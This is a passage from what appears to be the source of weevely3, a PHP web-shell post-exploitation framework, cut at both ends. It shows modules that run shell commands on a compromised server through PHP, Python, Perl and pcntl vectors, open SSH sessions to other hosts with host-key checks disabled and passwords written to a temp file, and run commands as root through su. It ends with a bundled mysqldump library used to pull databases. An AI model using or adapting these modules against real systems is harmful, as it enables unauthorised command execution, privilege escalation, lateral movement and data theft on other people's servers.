fclose($pipes[1]); fclose($pipes[2]); proc_close($h); }""", "proc_open"), PhpCode("""@python_eval('import os; os.system('${command}${stderr_redirection}');');""", "python_eval"), PhpCode(""" if(class_exists('Perl')){ $perl=new Perl(); $r=$perl->system('${command}${stderr_redirection}'); print($r); }""", "perl_system"), # pcntl_fork is unlikely, cause is callable just as CGI or from CLI. PhpCode(""" if(is_callable('pcntl_fork')) { $p=@pcntl_fork(); if(!$p){ @pcntl_exec("/bin/sh",Array("-c",'${command}')); } else { @pcntl_waitpid($p,$status); } }""", name="pcntl", target=Os.NIX), ]) self.register_arguments([ { 'name' : 'command', 'help' : 'Shell command', 'nargs' : '+' }, { 'name' : '-stderr_redirection', 'default' : ' 2>&1' }, { 'name' : '-vector', 'choices' : self.vectors.get_names() }, ]) def setup(self): """Probe all vectors to find a working system-like function. The method run_until is not used due to the check of shell_sh enabling for every tested vector. Args: self.args: The dictionary of arguments Returns: Status value, must be Status.RUN, Status.FAIL, or Status.IDLE. """ check_digits = str(random.randint(11111, 99999)) args_check = { 'command': 'echo %s' % check_digits, 'stderr_redirection': '' } (vector_name, result) = self.vectors.find_first_result( names = [ self.args.get('vector', '') ], format_args = args_check, condition = lambda result: ( # Stop if shell_php is not running self.session['shell_php']['status'] != Status.RUN or # Or if the result is correct result and result.rstrip() == check_digits ) ) if self.session['shell_php']['status'] == Status.RUN and result and result.rstrip() == check_digits: self.session['shell_sh']['stored_args']['vector'] = vector_name return Status.RUN else: # Check safe_mode and disable_functions return Status.FAIL def run(self, **kwargs): # Join the command list and # Escape the single quotes. This does not protect from \' but # avoid to break the query for an unscaped quote. self.args['command'] = ' '.join(self.args['command']).replace("'", "\\'") return self.vectors.get_result( name = self.args['vector'], format_args = self.args ) epinna-weevely3-445bd88/modules/shell/ssh.py000066400000000000000000000155231444353330400210300ustar00rootroot00000000000000from core.module import Module, Status from core.vectors import PhpCode, PythonCode, Os class Ssh(Module): """Execute shell commands through SSH without PTY Vector | Native | Comment -----------------|--------|----------------------------------------- php | No | SSH2 extension py.paramiko | No | py.pexpect | No | Rarely installed py.subprocess | Yes | Stores clear passwd on disk temporarily /!\\ When using py.subprocess vector the password is stored in a file at /!\\ As a result the file gets truncated, chmod and then removed. Becareful ! This file has to be executable, you have to insure it spawns on a partition that allows execution (ie. not mounted with `noexec`). Examples: :shell_ssh root@127.0.0.1 Sup3rPassw0rd id :shell_ssh -vector py.subprocess -askpass /executable/path -port 1337 root@secret.server Sup3rPassw0rd id """ def init(self): self.register_info( { 'author': [ 'ZanyMonk' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode(""" if(function_exists("ssh2_connect")){ if($c = ssh2_connect("${host}","${port}")){ if(ssh2_auth_password($c,"${user}","${password}")){ $s = ssh2_exec($c,"${command}${stderr}"); stream_set_blocking($s, true); echo stream_get_contents($s); fclose($s); }else{echo "Authentication failed";} }else{echo "Could not connect.";} }else{echo "ModuleNotFound";} """, name="php", ), PythonCode(""" import paramiko c = paramiko.SSHClient() c.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) c.connect("${host}", username="${user}", password="${password}", port=int("${port}")) i, o, e = c.exec_command("${command}${stderr}") i.close() for l in iter(o.readline, ""): print(l,end="") """, "py.paramiko" ), PythonCode(""" from pexpect import pxssh s = pxssh.pxssh() s.options = dict(StrictHostKeyChecking="no", UserKnownHostsFile="/dev/null") s.login("${host}", "${user}", "${password}", port=int("${port}")) c = "${command}" s.sendline(c) s.prompt() print(s.before[len(c) + 2:].decode("utf-8","replace"), end="") """, name="py.pexpect", target=Os.NIX, ), PythonCode(""" import os,subprocess as s with open("${askpass}", "w") as f: f.write("echo '${password}'") f.close() os.chmod("${askpass}", 0o755) p = s.Popen([ "ssh","-T","-tt","-oUserKnownHostsFile=/dev/null","-oStrictHostKeyChecking=no", "-p${port}","${user}@${host}","${command}${stderr}" ], shell=False, stdout=s.PIPE, stderr=s.PIPE, stdin=s.PIPE, env={ "DISPLAY": ":99", "SSH_ASKPASS": "${askpass}" }) o, e = p.communicate() os.unlink("${askpass}") print((o if o else e).decode("utf-8","replace"), end="") """, name="py.subprocess", ), ]) self.register_arguments([ {'name': 'address', 'help': 'user@host[:port]'}, {'name': 'password', 'help': 'User\'s password'}, {'name': 'command', 'help': 'Shell command', 'nargs': '+'}, {'name': '-askpass', 'default': '/tmp/.p', 'help': 'SSH_ASKPASS location (/!\\ will be overwritten and removed /!\\)'}, {'name': '-port', 'default': 0, 'type': int, 'help': 'SSH server port'}, {'name': '-stderr', 'default': ' 2>&1'}, {'name': '-vector', 'choices': self.vectors.get_names()}, ]) def setup(self): """Probe all vectors to find a working system-like function. The method run_until is not used due to the check of shell_sh enabling for every tested vector. Args: self.args: The dictionary of arguments Returns: Status value, must be Status.RUN, Status.FAIL, or Status.IDLE. """ args_check = { 'host': '127.0.0.1', 'user': 'root', 'password': 'root', 'port': 54321, 'command': 'whoami', 'stderr': '', 'askpass': '/tmp/.p', } def is_valid(result): return (self.session['shell_php']['status'] != Status.RUN or # Stop if shell_php is not running result and 'ModuleNotFound' not in result) # Or if the result is correct (vector_name, result) = self.vectors.find_first_result( names=[self.args.get('vector', '')], format_args=args_check, condition=is_valid ) if self.session['shell_php']['status'] == Status.RUN and result: self.session['shell_ssh']['stored_args']['vector'] = vector_name if 'vector' not in self.args or not self.args['vector']: self.args['vector'] = vector_name return Status.RUN else: return Status.FAIL def run(self, **kwargs): self.args['user'], self.args['host'], self.args['port'] = self._parse_address(self.args['address']) self.args['command'] = ' '.join(self.args['command']).replace('"', '\\"') return self.vectors.get_result( name=self.args['vector'], format_args=self.args ) def _parse_address(self, address): user = self.session['system_info']['results'].get('whoami', '') host = address if '@' in address: user, host = address.split('@', 1) trailing_port = 22 port = self.args.get('port') if ':' in host: host, trailing_port = host.split(':', 1) if not port: # port = trailing_port return user, host, port epinna-weevely3-445bd88/modules/shell/su.py000066400000000000000000000076551444353330400206710ustar00rootroot00000000000000import re from core import messages from core.loggers import log from core.module import Module, Status from core.vectors import ShellCmd, PythonCode class Su(Module): """Execute commands with su.""" aliases = ['ifconfig'] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ ShellCmd( """expect -c 'spawn su -c "${command}" "${user}"; expect -re "assword"; send "${ passwd }\r\n"; expect eof;'""", name="sh_expect", postprocess=lambda x: re.findall('Password: (?:\r\n)?([\s\S]+)', x)[0] if 'Password: ' in x else '' ), PythonCode( """ import pexpect as p,sys c = p.spawn("su ${user} -c ${command}") c.expect(".*assword:");c.sendline("${ passwd }") i = c.expect([p.EOF,p.TIMEOUT]) if i!=p.TIMEOUT: sys.stdout.write(c.before[3:].decode("utf-8","replace")) """, name="pyexpect") ] ) self.register_arguments([ {'name': 'passwd', 'help': 'User\'s password'}, {'name': 'command', 'help': 'Shell command', 'nargs': '+'}, {'name': '-user', 'help': 'User to run the command with', 'default': 'root'}, {'name': '-stderr_redirection', 'default': ' 2>&1'}, {'name': '-vector-sh', 'choices': ('system', 'passthru', 'shell_exec', 'exec', 'popen', 'proc_open', 'perl_system', 'pcntl')}, {'name': '-vector', 'choices': self.vectors.get_names()} ]) def setup(self): """Probe all vectors to find a working su command. The method run_until is not used due to the check of shell_sh enabling for every tested vector. Args: self.args: The dictionary of arguments Returns: Status value, must be Status.RUN, Status.FAIL, or Status.IDLE. """ args_check = { 'user': self.args['user'], 'passwd': self.args['passwd'], 'command': 'whoami' } (vector_name, result) = self.vectors.find_first_result( names=[self.args.get('vector', '')], format_args=args_check, condition=lambda result: ( # Stop if shell_sh is in FAIL state self.session['shell_sh']['status'] == Status.FAIL or # Or if the result is correct self.session['shell_sh']['status'] == Status.RUN and result and result.rstrip() == self.args['user'] ) ) if self.session['shell_sh']['status'] == Status.RUN and result and result.rstrip() == self.args['user']: self.session['shell_su']['stored_args']['vector'] = vector_name return Status.RUN else: log.warn(messages.module_shell_su.error_su_executing) return Status.IDLE def run(self, **kwargs): # Join the command list and # Escape the single quotes. This does not protect from \' but # avoid to break the query for an unscaped quote. self.args['command'] = ' '.join(self.args['command']).replace("'", "\\'") format_args = { 'user': self.args['user'], 'passwd': self.args['passwd'], 'command': self.args['command'] } if self.args.get('vector_sh'): format_args['vector'] = self.args['vector_sh'] if self.args.get('stderr_redirection'): format_args['stderr_redirection'] = self.args['stderr_redirection'] return self.vectors.get_result( name=self.args['vector'], format_args=format_args ) epinna-weevely3-445bd88/modules/sql/000077500000000000000000000000001444353330400173435ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/sql/__init__.py000066400000000000000000000000001444353330400214420ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/sql/_dump/000077500000000000000000000000001444353330400204475ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/sql/_dump/mysqldump.tpl000066400000000000000000001225371444353330400232350ustar00rootroot00000000000000<%text> /** * Mysqldump File Doc Comment * * PHP version 5 * * @category Library * @package Ifsnop\Mysqldump * @author Michael J. Calkins * @author Diego Torres * @license http://www.gnu.org/copyleft/gpl.html GNU General Public License * @link https://github.com/ifsnop/mysqldump-php * */ //namespace Ifsnop\Mysqldump; use Exception; use PDO; use PDOException; /** * Mysqldump Class Doc Comment * * @category Library * @package Ifsnop\Mysqldump * @author Michael J. Calkins * @author Diego Torres * @license http://www.gnu.org/copyleft/gpl.html GNU General Public License * @link https://github.com/ifsnop/mysqldump-php * */ class Mysqldump { // Same as mysqldump const MAXLINESIZE = 1000000; // Available compression methods as constants const GZIP = 'Gzip'; const BZIP2 = 'Bzip2'; const NONE = 'None'; // This can be set both on constructor or manually public $host; public $user; public $pass; public $db; public $fileName; // Internal stuff private $tables = array(); private $views = array(); private $triggers = array(); private $dbHandler; private $dbType; private $compressManager; private $typeAdapter; private $dumpSettings = array(); private $pdoSettings = array(); private $version; private $tableColumnTypes = array(); /** * Constructor of Mysqldump. Note that in the case of an SQLite database * connection, the filename must be in the $db parameter. * * @param string $db Database name * @param string $user SQL account username * @param string $pass SQL account password * @param string $host SQL server to connect to * @param string $type SQL database type * @param array $dumpSettings SQL database settings * @param array $pdoSettings PDO configured attributes * * @return null */ public function __construct( $db = '', $user = '', $pass = '', $host = 'localhost', $type = 'mysql', $dumpSettings = array(), $pdoSettings = array() ) { $dumpSettingsDefault = array( 'include-tables' => array(), 'exclude-tables' => array(), 'compress' => 'None', 'no-data' => false, 'add-drop-table' => false, 'single-transaction' => true, 'lock-tables' => true, 'add-locks' => true, 'extended-insert' => true, 'disable-keys' => true, 'where' => '', 'no-create-info' => false, 'skip-triggers' => false, 'add-drop-trigger' => true, 'hex-blob' => true, 'databases' => false, 'add-drop-database' => false, 'skip-tz-utz' => false, 'no-autocommit' => true, /* deprecated */ 'disable-foreign-keys-check' => true ); $pdoSettingsDefault = array(PDO::ATTR_PERSISTENT => true, PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8", PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => false ); $this->db = $db; $this->user = $user; $this->pass = $pass; $this->host = $host; $this->dbType = strtolower($type); $this->pdoSettings = self::array_replace_recursive($pdoSettingsDefault, $pdoSettings); $this->dumpSettings = self::array_replace_recursive($dumpSettingsDefault, $dumpSettings); $diff = array_diff(array_keys($this->dumpSettings), array_keys($dumpSettingsDefault)); if (count($diff)>0) { throw new Exception("Unexpected value in dumpSettings: (" . implode(",", $diff) . ")"); } // Create a new compressManager to manage compressed output $this->compressManager = CompressManagerFactory::create($this->dumpSettings['compress']); } /** * Custom array_replace_recursive to be used if PHP < 5.3 * Replaces elements from passed arrays into the first array recursively * * @param array $array1 The array in which elements are replaced * @param array $array2 The array from which elements will be extracted * * @return array Returns an array, or NULL if an error occurs. */ public static function array_replace_recursive($array1, $array2) { if (function_exists('array_replace_recursive')) { return array_replace_recursive($array1, $array2); } foreach ($array2 as $key => $value) { if (is_array($value)) { $array1[$key] = self::array_replace_recursive($array1[$key], $value); } else { $array1[$key] = $value; } } return $array1; } /** * Connect with PDO * * @return null */ private function connect() { // Connecting with PDO try { switch ($this->dbType) { case 'sqlite': $this->dbHandler = new PDO("sqlite:" . $this->db, null, null, $this->pdoSettings); break; case 'mysql': case 'pgsql': case 'dblib': $this->dbHandler = new PDO( $this->dbType . ":host=" . $this->host . ";dbname=" . $this->db, $this->user, $this->pass, $this->pdoSettings ); // Fix for always-unicode output $this->dbHandler->exec("SET NAMES utf8"); // Store server version $this->version = $this->dbHandler->getAttribute(PDO::ATTR_SERVER_VERSION); break; default: throw new Exception("Unsupported database type (" . $this->dbType . ")"); } } catch (PDOException $e) { throw new Exception( "Connection to " . $this->dbType . " failed with message: " . $e->getMessage() ); } $this->dbHandler->setAttribute(PDO::ATTR_ORACLE_NULLS, PDO::NULL_NATURAL); $this->typeAdapter = TypeAdapterFactory::create($this->dbType, $this->dbHandler); } /** * Main call * * @param string $filename Name of file to write sql dump to * @return null */ public function start($filename = '') { // Output file can be redefined here if (!empty($filename)) { $this->fileName = $filename; } // We must set a name to continue if (empty($this->fileName)) { throw new Exception("Output file name is not set"); } // Connect to database $this->connect(); // Create output file $this->compressManager->open($this->fileName); // Write some basic info to output file $this->compressManager->write($this->getDumpFileHeader()); // Store server settings and use sanner defaults to dump $this->compressManager->write( $this->typeAdapter->backup_parameters($this->dumpSettings) ); if ($this->dumpSettings['databases']) { $this->compressManager->write( $this->typeAdapter->getDatabaseHeader($this->db) ); if ($this->dumpSettings['add-drop-database']) { $this->compressManager->write( $this->typeAdapter->add_drop_database($this->db) ); } } // Get table, view and trigger structures from database $this->getDatabaseStructure(); if ($this->dumpSettings['databases']) { $this->compressManager->write( $this->typeAdapter->databases($this->db) ); } // If there still are some tables/views in include-tables array, // that means that some tables or views weren't found. // Give proper error and exit. if (0 < count($this->dumpSettings['include-tables'])) { $name = implode(",", $this->dumpSettings['include-tables']); throw new Exception("Table or View (" . $name . ") not found in database"); } $this->exportTables(); $this->exportViews(); $this->exportTriggers(); // Restore saved parameters $this->compressManager->write( $this->typeAdapter->restore_parameters($this->dumpSettings) ); // Write some stats to output file $this->compressManager->write($this->getDumpFileFooter()); // Close output file $this->compressManager->close(); } /** * Returns header for dump file * * @return string */ private function getDumpFileHeader() { // Some info about software, source and time $header = "-- mysqldump-php https://github.com/ifsnop/mysqldump-php" . PHP_EOL . "--" . PHP_EOL . "-- Host: {$this->host}\tDatabase: {$this->db}" . PHP_EOL . "-- ------------------------------------------------------" . PHP_EOL; if (!empty($this->version)) { $header .= "-- Server version \t" . $this->version . PHP_EOL; } $header .= "-- Date: " . date('r') . PHP_EOL . PHP_EOL; return $header; } /** * Returns footer for dump file * * @return string */ private function getDumpFileFooter() { $footer = "-- Dump completed on: " . date('r') . PHP_EOL; return $footer; } /** * Reads table and views names from database. * Fills $this->tables array so they will be dumped later. * * @return null */ private function getDatabaseStructure() { // Listing all tables from database if (empty($this->dumpSettings['include-tables'])) { // include all tables for now, blacklisting happens later foreach ($this->dbHandler->query($this->typeAdapter->show_tables($this->db)) as $row) { array_push($this->tables, current($row)); } } else { // include only the tables mentioned in include-tables foreach ($this->dbHandler->query($this->typeAdapter->show_tables($this->db)) as $row) { if (in_array(current($row), $this->dumpSettings['include-tables'], true)) { array_push($this->tables, current($row)); $elem = array_search( current($row), $this->dumpSettings['include-tables'] ); unset($this->dumpSettings['include-tables'][$elem]); } } } // Listing all views from database if (empty($this->dumpSettings['include-tables'])) { // include all views for now, blacklisting happens later foreach ($this->dbHandler->query($this->typeAdapter->show_views($this->db)) as $row) { array_push($this->views, current($row)); } } else { // include only the tables mentioned in include-tables foreach ($this->dbHandler->query($this->typeAdapter->show_views($this->db)) as $row) { if (in_array(current($row), $this->dumpSettings['include-tables'], true)) { array_push($this->views, current($row)); $elem = array_search( current($row), $this->dumpSettings['include-tables'] ); unset($this->dumpSettings['include-tables'][$elem]); } } } // Listing all triggers from database if (false === $this->dumpSettings['skip-triggers']) { foreach ($this->dbHandler->query($this->typeAdapter->show_triggers($this->db)) as $row) { array_push($this->triggers, $row['Trigger']); } } } /** * Exports all the tables selected from database * * @return null */ private function exportTables() { // Exporting tables one by one foreach ($this->tables as $table) { if (in_array($table, $this->dumpSettings['exclude-tables'], true)) { continue; } $this->getTableStructure($table); if (false === $this->dumpSettings['no-data']) { $this->listValues($table); } } } /** * Exports all the views found in database * * @return null */ private function exportViews() { if (false === $this->dumpSettings['no-create-info']) { // Exporting views one by one foreach ($this->views as $view) { if (in_array($view, $this->dumpSettings['exclude-tables'], true)) { continue; } $this->getViewStructure($view); } } } /** * Exports all the triggers found in database * * @return null */ private function exportTriggers() { // Exporting triggers one by one foreach ($this->triggers as $trigger) { $this->getTriggerStructure($trigger); } } /** * Table structure extractor * * @todo move specific mysql code to typeAdapter * @param string $tableName Name of table to export * @return null */ private function getTableStructure($tableName) { if (!$this->dumpSettings['no-create-info']) { $ret = "--" . PHP_EOL . "-- Table structure for table `$tableName`" . PHP_EOL . "--" . PHP_EOL . PHP_EOL; $stmt = $this->typeAdapter->show_create_table($tableName); foreach ($this->dbHandler->query($stmt) as $r) { $this->compressManager->write($ret); if ($this->dumpSettings['add-drop-table']) { $this->compressManager->write( $this->typeAdapter->drop_table($tableName) ); } $this->compressManager->write( $this->typeAdapter->create_table($r) ); break; } } $columnTypes = array(); $columns = $this->dbHandler->query( $this->typeAdapter->show_columns($tableName) ); $columns->setFetchMode(PDO::FETCH_ASSOC); foreach($columns as $key => $col) { $types = $this->typeAdapter->parseColumnType($col); $columnTypes[$col['Field']] = array( 'is_numeric'=> $types['is_numeric'], 'is_blob' => $types['is_blob'], 'type' => $types['type'] ); } $this->tableColumnTypes[$tableName] = $columnTypes; return; } /** * View structure extractor * * @todo move mysql specific code to typeAdapter * @param string $viewName Name of view to export * @return null */ private function getViewStructure($viewName) { $ret = "--" . PHP_EOL . "-- Table structure for view `${viewName}`" . PHP_EOL . "--" . PHP_EOL . PHP_EOL; $this->compressManager->write($ret); $stmt = $this->typeAdapter->show_create_view($viewName); foreach ($this->dbHandler->query($stmt) as $r) { if ($this->dumpSettings['add-drop-table']) { $this->compressManager->write( $this->typeAdapter->drop_view($viewName) ); } $this->compressManager->write( $this->typeAdapter->create_view($r) ); break; } } /** * Trigger structure extractor * * @param string $triggerName Name of trigger to export * @return null */ private function getTriggerStructure($triggerName) { $stmt = $this->typeAdapter->show_create_trigger($triggerName); foreach ($this->dbHandler->query($stmt) as $r) { if ($this->dumpSettings['add-drop-trigger']) { $this->compressManager->write( $this->typeAdapter->add_drop_trigger($triggerName) ); } $this->compressManager->write( $this->typeAdapter->create_trigger($r) ); return; } } /** * Escape values with quotes when needed * * @param string $tableName Name of table which contains rows * @param array $row Associative array of column names and values to be quoted * * @return string */ private function escape($tableName, $row) { $ret = array(); $columnTypes = $this->tableColumnTypes[$tableName]; foreach ($row as $colName => $colValue) { if (is_null($colValue)) { $ret[] = "NULL"; } elseif ($this->dumpSettings['hex-blob'] && $columnTypes[$colName]['is_blob']) { if ($columnTypes[$colName]['type'] == 'bit' || !empty($colValue)) { $ret[] = "0x${colValue}"; } else { $ret[] = "''"; } } elseif ($columnTypes[$colName]['is_numeric']) { $ret[] = $colValue; } else { $ret[] = $this->dbHandler->quote($colValue); } } return $ret; } /** * Table rows extractor * * @param string $tableName Name of table to export * * @return null */ private function listValues($tableName) { $this->prepareListValues($tableName); $onlyOnce = true; $lineSize = 0; $colStmt = $this->getColumnStmt($tableName); $stmt = "SELECT $colStmt FROM `$tableName`"; if ($this->dumpSettings['where']) { $stmt .= " WHERE {$this->dumpSettings['where']}"; } $resultSet = $this->dbHandler->query($stmt); $resultSet->setFetchMode(PDO::FETCH_ASSOC); foreach ($resultSet as $row) { $vals = $this->escape($tableName, $row); if ($onlyOnce || !$this->dumpSettings['extended-insert']) { $lineSize += $this->compressManager->write( "INSERT INTO `$tableName` VALUES (" . implode(",", $vals) . ")" ); $onlyOnce = false; } else { $lineSize += $this->compressManager->write(",(" . implode(",", $vals) . ")"); } if (($lineSize > self::MAXLINESIZE) || !$this->dumpSettings['extended-insert']) { $onlyOnce = true; $lineSize = $this->compressManager->write(";" . PHP_EOL); } } $resultSet->closeCursor(); if (!$onlyOnce) { $this->compressManager->write(";" . PHP_EOL); } $this->endListValues($tableName); } /** * Table rows extractor, append information prior to dump * * @param string $tableName Name of table to export * * @return null */ function prepareListValues($tableName) { $this->compressManager->write( "--" . PHP_EOL . "-- Dumping data for table `$tableName`" . PHP_EOL . "--" . PHP_EOL . PHP_EOL ); if ($this->dumpSettings['single-transaction']) { $this->dbHandler->exec($this->typeAdapter->start_transaction()); } if ($this->dumpSettings['lock-tables']) { $this->typeAdapter->lock_table($tableName); } if ($this->dumpSettings['add-locks']) { $this->compressManager->write( $this->typeAdapter->start_add_lock_table($tableName) ); } if ($this->dumpSettings['disable-keys']) { $this->compressManager->write( $this->typeAdapter->start_add_disable_keys($tableName) ); } // Disable autocommit for faster reload if ($this->dumpSettings['no-autocommit']) { $this->compressManager->write( $this->typeAdapter->start_disable_autocommit() ); } return; } /** * Table rows extractor, close locks and commits after dump * * @param string $tableName Name of table to export * * @return null */ function endListValues($tableName) { if ($this->dumpSettings['disable-keys']) { $this->compressManager->write( $this->typeAdapter->end_add_disable_keys($tableName) ); } if ($this->dumpSettings['add-locks']) { $this->compressManager->write( $this->typeAdapter->end_add_lock_table($tableName) ); } if ($this->dumpSettings['single-transaction']) { $this->dbHandler->exec($this->typeAdapter->commit_transaction()); } if ($this->dumpSettings['lock-tables']) { $this->typeAdapter->unlock_table($tableName); } // Commit to enable autocommit if ($this->dumpSettings['no-autocommit']) { $this->compressManager->write( $this->typeAdapter->end_disable_autocommit() ); } $this->compressManager->write(PHP_EOL); return; } /** * Build SQL List of all columns on current table * * @param string $tableName Name of table to get columns * * @return string SQL sentence with columns */ function getColumnStmt($tableName) { $colStmt = array(); foreach($this->tableColumnTypes[$tableName] as $colName => $colType) { if ($colType['type'] == 'bit' && $this->dumpSettings['hex-blob']) { $colStmt[] = "LPAD(HEX(`${colName}`),2,'0') AS `${colName}`"; } else if ($colType['is_blob'] && $this->dumpSettings['hex-blob']) { $colStmt[] = "HEX(`${colName}`) AS `${colName}`"; } else { $colStmt[] = "`${colName}`"; } } $colStmt = implode($colStmt, ","); return $colStmt; } } /** * Enum with all available compression methods * */ abstract class CompressMethod { public static $enums = array( "None", "Gzip", "Bzip2" ); /** * @param string $c * @return boolean */ public static function isValid($c) { return in_array($c, self::$enums); } } abstract class CompressManagerFactory { /** * @param string $c * @return CompressBzip2|CompressGzip|CompressNone */ public static function create($c) { $c = ucfirst(strtolower($c)); if (! CompressMethod::isValid($c)) { throw new Exception("Compression method ($c) is not defined yet"); } $method = __NAMESPACE__ . "\\" . "Compress" . $c; return new $method; } } class CompressBzip2 extends CompressManagerFactory { private $fileHandler = null; public function __construct() { if (! function_exists("bzopen")) { throw new Exception("Compression is enabled, but bzip2 lib is not installed or configured properly"); } } public function open($filename) { $this->fileHandler = bzopen($filename . ".bz2", "w"); if (false === $this->fileHandler) { throw new Exception("Output file is not writable"); } return true; } public function write($str) { if (false === ($bytesWritten = bzwrite($this->fileHandler, $str))) { throw new Exception("Writting to file failed! Probably, there is no more free space left?"); } return $bytesWritten; } public function close() { return bzclose($this->fileHandler); } } class CompressGzip extends CompressManagerFactory { private $fileHandler = null; public function __construct() { if (! function_exists("gzopen")) { throw new Exception("Compression is enabled, but gzip lib is not installed or configured properly"); } } public function open($filename) { $this->fileHandler = gzopen($filename . ".gz", "wb"); if (false === $this->fileHandler) { throw new Exception("Output file is not writable"); } return true; } public function write($str) { if (false === ($bytesWritten = gzwrite($this->fileHandler, $str))) { throw new Exception("Writting to file failed! Probably, there is no more free space left?"); } return $bytesWritten; } public function close() { return gzclose($this->fileHandler); } } class CompressNone extends CompressManagerFactory { private $fileHandler = null; public function open($filename) { $this->fileHandler = fopen($filename, "wb"); if (false === $this->fileHandler) { throw new Exception("Output file is not writable"); } return true; } public function write($str) { if (false === ($bytesWritten = fwrite($this->fileHandler, $str))) { throw new Exception("Writting to file failed! Probably, there is no more free space left?"); } return $bytesWritten; } public function close() { return fclose($this->fileHandler); } } /** * Enum with all available TypeAdapter implementations * */ abstract class TypeAdapter { public static $enums = array( "Sqlite", "Mysql" ); /** * @param string $c * @return boolean */ public static function isValid($c) { return in_array($c, self::$enums); } } /** * TypeAdapter Factory * */ abstract class TypeAdapterFactory { /** * @param string $c Type of database factory to create (Mysql, Sqlite,...) * @param PDO $dbHandler */ public static function create($c, $dbHandler = null) { $c = ucfirst(strtolower($c)); if (! TypeAdapter::isValid($c)) { throw new Exception("Database type support for ($c) not yet available"); } $method = __NAMESPACE__ . "\\" . "TypeAdapter" . $c; return new $method($dbHandler); } /** * function databases Add sql to create and use database * @todo make it do something with sqlite */ public function databases() { return ""; } public function show_create_table($tableName) { return "SELECT tbl_name as 'Table', sql as 'Create Table' " . "FROM sqlite_master " . "WHERE type='table' AND tbl_name='$tableName'"; } /** * function create_table Get table creation code from database * @todo make it do something with sqlite */ public function create_table($row) { return ""; } public function show_create_view($viewName) { return "SELECT tbl_name as 'View', sql as 'Create View' " . "FROM sqlite_master " . "WHERE type='view' AND tbl_name='$viewName'"; } /** * function create_view Get view creation code from database * @todo make it do something with sqlite */ public function create_view($row) { return ""; } /** * function show_create_trigger Get trigger creation code from database * @todo make it do something with sqlite */ public function show_create_trigger($triggerName) { return ""; } /** * function create_trigger Modify trigger code, add delimiters, etc * @todo make it do something with sqlite */ public function create_trigger($triggerName) { return ""; } public function show_tables() { return "SELECT tbl_name FROM sqlite_master WHERE type='table'"; } public function show_views() { return "SELECT tbl_name FROM sqlite_master WHERE type='view'"; } public function show_triggers() { return "SELECT name FROM sqlite_master WHERE type='trigger'"; } public function show_columns() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "pragma table_info(${args[0]})"; } public function start_transaction() { return "BEGIN EXCLUSIVE"; } public function commit_transaction() { return "COMMIT"; } public function lock_table() { return ""; } public function unlock_table() { return ""; } public function start_add_lock_table() { return PHP_EOL; } public function end_add_lock_table() { return PHP_EOL; } public function start_add_disable_keys() { return PHP_EOL; } public function end_add_disable_keys() { return PHP_EOL; } public function start_disable_foreign_keys_check() { return PHP_EOL; } public function end_disable_foreign_keys_check() { return PHP_EOL; } public function add_drop_database() { return PHP_EOL; } public function add_drop_trigger() { return PHP_EOL; } public function drop_table() { return PHP_EOL; } public function drop_view() { return PHP_EOL; } /** * Decode column metadata and fill info structure. * type, is_numeric and is_blob will always be available. * * @param array $colType Array returned from "SHOW COLUMNS FROM tableName" * @return array */ public function parseColumnType($colType) { return array(); } public function backup_parameters() { return PHP_EOL; } public function restore_parameters() { return PHP_EOL; } } class TypeAdapterPgsql extends TypeAdapterFactory { } class TypeAdapterDblib extends TypeAdapterFactory { } class TypeAdapterSqlite extends TypeAdapterFactory { } class TypeAdapterMysql extends TypeAdapterFactory { private $dbHandler = null; // Numerical Mysql types public $mysqlTypes = array( 'numerical' => array( 'bit', 'tinyint', 'smallint', 'mediumint', 'int', 'integer', 'bigint', 'real', 'double', 'float', 'decimal', 'numeric' ), 'blob' => array( 'tinyblob', 'blob', 'mediumblob', 'longblob', 'binary', 'varbinary', 'bit' ) ); public function __construct ($dbHandler) { $this->dbHandler = $dbHandler; } public function databases() { if (func_num_args() != 1) { throw new Exception("Unexpected parameter passed to " . __METHOD__); } $args = func_get_args(); $databaseName = $args[0]; $resultSet = $this->dbHandler->query("SHOW VARIABLES LIKE 'character_set_database';"); $characterSet = $resultSet->fetchColumn(1); $resultSet->closeCursor(); $resultSet = $this->dbHandler->query("SHOW VARIABLES LIKE 'collation_database';"); $collationDb = $resultSet->fetchColumn(1); $resultSet->closeCursor(); $ret = ""; $ret .= "CREATE DATABASE /*!32312 IF NOT EXISTS*/ `${databaseName}`". " /*!40100 DEFAULT CHARACTER SET ${characterSet} " . " COLLATE ${collationDb} */;" . PHP_EOL . PHP_EOL . "USE `${databaseName}`;" . PHP_EOL . PHP_EOL; return $ret; } public function show_create_table($tableName) { return "SHOW CREATE TABLE `$tableName`"; } public function show_create_view($viewName) { return "SHOW CREATE VIEW `$viewName`"; } public function show_create_trigger($triggerName) { return "SHOW CREATE TRIGGER `$triggerName`"; } public function create_table($row) { if (!isset($row['Create Table'])) { throw new Exception("Error getting table code, unknown output"); } $ret = "/*!40101 SET @saved_cs_client = @@character_set_client */;" . PHP_EOL . "/*!40101 SET character_set_client = utf8 */;" . PHP_EOL . $row['Create Table'] . ";" . PHP_EOL . "/*!40101 SET character_set_client = @saved_cs_client */;" . PHP_EOL . PHP_EOL; return $ret; } public function create_view($row) { $ret = ""; if (!isset($row['Create View'])) { throw new Exception("Error getting view structure, unknown output"); } $triggerStmt = $row['Create View']; $triggerStmtReplaced1 = str_replace( "CREATE ALGORITHM", "/*!50001 CREATE ALGORITHM", $triggerStmt ); $triggerStmtReplaced2 = str_replace( " DEFINER=", " */" . PHP_EOL . "/*!50013 DEFINER=", $triggerStmtReplaced1 ); $triggerStmtReplaced3 = str_replace( " VIEW ", " */" . PHP_EOL . "/*!50001 VIEW ", $triggerStmtReplaced2 ); if (false === $triggerStmtReplaced1 || false === $triggerStmtReplaced2 || false === $triggerStmtReplaced3) { $triggerStmtReplaced = $triggerStmt; } else { $triggerStmtReplaced = $triggerStmtReplaced3 . " */;"; } $ret .= $triggerStmtReplaced . PHP_EOL . PHP_EOL; return $ret; } public function create_trigger($row) { $ret = ""; if (!isset($row['SQL Original Statement'])) { throw new Exception("Error getting trigger code, unknown output"); } $triggerStmt = $row['SQL Original Statement']; $triggerStmtReplaced = str_replace( "CREATE 